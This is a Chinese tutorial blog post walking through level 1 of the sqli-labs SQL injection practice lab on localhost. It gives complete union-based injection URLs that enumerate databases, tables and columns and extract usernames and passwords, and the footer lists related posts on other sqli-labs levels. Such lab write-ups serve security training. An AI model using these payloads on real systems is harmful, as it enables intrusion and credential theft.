sql-labs--Less-1--Error based-Single quotes

这篇具有很好参考价值的文章主要介绍了sql-labs--Less-1--Error based-Single quotes。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

sql="SELECT * FROM users WHERE id='id' LIMIT 0,1";

打开第一关,我们看到如下界面,上面写着Please input the ID as parameter with numeric value,它的意思是让我们请输入ID作为带有数值的参数。

sql-labs--Less-1--Error based-Single quotes

我们输入带有id的参数:http://127.0.0.1/sqli-labs/Less-1/?id=1,如下图,正确回显界面。

sql-labs--Less-1--Error based-Single quotes

我们尝试加入and 1=1(http://127.0.0.1/sqli-labs/Less-1/?id=1 and 1=1),正确回显,然后我们将and 1=1 改为and 1=2,发现正确回显,为字符型注入,即说明存在闭合的干扰,所以我们在http://127.0.0.1/sqli-labs/Less-1/?id=1后面加一个'(单引号):http://127.0.0.1/sqli-labs/Less-1/?id=1',返回错误。如下图:

注释:这里and 1=1 改为and 1=2,发现正确回显,因为id为int类型,所以传入的 ‘1 and 1=2’ 会强制转换成 ‘1’ ,=>最终数据库中的查询语句为: select * from user where id ='1'; 所以sql语句不会报错。

sql-labs--Less-1--Error based-Single quotes

爆的SQL语法错误('1'' LIMIT 0,1),多加了一个引号,即为字符型注入,说明为id='id'。

我们对‘后加--+进行注释。不能用# ,因为url中的# 号代表html页面中的锚点,数据传输过程并不会一起带到后端,且命令传到后端,少了一个单引号用来闭合命令(我们可以利用这种特性,在url中命令结尾添加一个单引号来代替注释符,或者将# 改为url编码(%23)。

然后我们使用order by对数据进行排序,查看数据有几列。(http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3--+)超过3就会报错,显示结果超出。如下:

sql-labs--Less-1--Error based-Single quotes

然后进行union联合注入(union 的作用是将两个 sql 语句进行联合。):当 id 的数据在数据库中不存在时,(即使 id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,就将后面的语句的内容显示出来)此处前台页面返回了构造的 union 的数据。

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3--+,回显正确。如下:

sql-labs--Less-1--Error based-Single quotes

我们可以看出是更改select中的2,3来使我们知道我们想知道的信息。

查询数据库版本和数据库名:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,version(),database()--+

sql-labs--Less-1--Error based-Single quotes

查询用户名和操作系统:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,user(),@@version_compile_os--+

sql-labs--Less-1--Error based-Single quotes

也可以爆出数据库中的所有数据库名(http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+),我上边已经将这个数据库的库名爆出来了,没必要再去爆所有数据库名。

爆出security 数据库的数据表:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

sql-labs--Less-1--Error based-Single quotes

爆users表:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

sql-labs--Less-1--Error based-Single quotes

爆出数据:http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,username,password from users where id=1--+

sql-labs--Less-1--Error based-Single quotes

文章来源地址https://www.toymoban.com/news/detail-693678.html

 

到了这里,关于sql-labs--Less-1--Error based-Single quotes的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Background-1 基础知识 sqli-Labs Less1-Less-4

    在第一关我们可以尝试增加一个单引号进行尝试 错误显示如下: 推测语法的结构 上述错误中我们可以推测由于增加了 1’ 导致语法变成 \\\'1\\\'\\\' limit 0,1 ,是由于多加了一个 \\\' 造成的后果。 下面是尝试解决的方法 尝试 \\\' or 1=1--+ 把但单引号给闭合 此时的语句构成如下代码段: 接下

    2024年02月08日
    浏览(32)
  • Background-2 盲注关卡 sqli-Labs Less5-Less-6

    1.查看版本号 说明:判断第一位的版本号是不是5,根据以下图像显示是5 2.查看数据库的长度 3.猜测数据库的第一位 注: database()的数据库是security,所以第一位’a‘的 ,在不知道的情况下可以采用二分法提高注入的效率。 根据以上我们知道是 security 数据库,接下来获取数据

    2024年02月16日
    浏览(30)
  • [网络安全]sqli-labs Less-24 解题详析

    本关考察二次排序注入 二次排序注入原理如下:当注册一个名为admin’#的用户后,再对其修改密码,SQL语句如下: 相当于: 从而以 admin\\\'# 为跳板,修改了管理员密码 操作如下: 注册admin’# 密码11 接着登录后修改密码为123 可以看到管理员密码已被修改: 接着我们就可以使

    2024年02月07日
    浏览(36)
  • [网络安全]sqli-labs Less-26 解题详析

    本关过滤 空格 or and /* # -- / 等符号 可用过滤符如下 %09 TAB键(水平) %0a 新建一行 %0c 新的一页 %0d return功能 %0b TAB键(垂直) %a0 空格 使用联合查询,具体原理及解题方法可见专栏:Sqli-Labs靶场专栏 查库名: 回显如下: 查表名: 回显如下: 查列名: 回显如下: 查数据:

    2024年02月08日
    浏览(32)
  • 网络安全]sqli-labs Less-12 解题详析

    原理及姿势参考:[网络安全]SQL注入原理及常见攻击方法简析 本文使用到了updatexml函数,原理及姿势可参考:[网络安全]sqli-labs Less-5 解题详析 通过测试可知注入类型为双引号+括号注入 判断注入点个数 尝试可知注入点个数为2 库名为security 以上为[网络安全]sqli-labs Less-12 解题

    2024年02月07日
    浏览(33)
  • [网络安全]sqli-labs Less-25a 解题详析

    不同于25关的是sql语句中对于id没有单引号包含,同时没有输出错误项,故报错注入不能用。 有两种方式:延时注入和联合注入;本文采用联合注入。 具体过程不再详述,本文给出最终POC: 具体过程本文不再赘述,可移至本专栏相关文章:SQLiLabs靶场专栏

    2024年02月06日
    浏览(35)
  • Git error-fatal-Needed a single revision

    由于公司要求,需要把旧的项目迁移到新的gitlab地址上,这好办,只需要改下remote repository url就可以了,如果仓库中用到子模块,还需要顺便更新子模块的url。 不过,本地是编译通过了,但是推送到远程后,gitlab CI编译时会报错如下: 网上也能搜到相同的问题,但是没有一

    2024年02月16日
    浏览(28)
  • 【论文阅读】SISR综述:From Beginner to Master: A Survey for Deep Learning-based Single-Image Super-Resolution

    论文地址:https://doi.org/10.48550/arXiv.2109.14335 单幅图像超分辨率(SISR)是图像处理中的一项重要任务,旨在提高成像系统的分辨率。近年来,在深度学习(DL)的帮助下,SISR取得了巨大的飞跃,并取得了可喜的成果。在本综述中,我们对基于dl的SISR方法进行了概述,并根据重建效率

    2024年02月08日
    浏览(38)
  • SQL注入闯关第一关-Less1

    目录 一、判断注入点类型 1、单引号测试 2、进行验证: 二、确定字段数 三、使用联合查询,确定显示位置 四、确定显示位置后,查询库名 五、查询表名 六、查询列名 七、查询用户名和密码 报错, 猜测属于字符型注入; (1)、http://192.168.162.135/sqlilab/Less-1/?id=1\\\' and 1=1 --+ (

    2024年02月08日
    浏览(33)
  • 靶场:sql-less-18(HTTP头注入)

    本文操作环境:Kali-Linux 靶场链接:Less-18 Header Injection- Error Based- string 输入用户名和密码以后,我们发现屏幕上回显了我们的IP地址和我们的User Agent 用hackbar抓取POST包,在用户名和密码的位置判断注入点,发现用户名和密码的位置都是没有注入点 猜想可能注入点在User Agent这

    2024年03月11日
    浏览(39)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包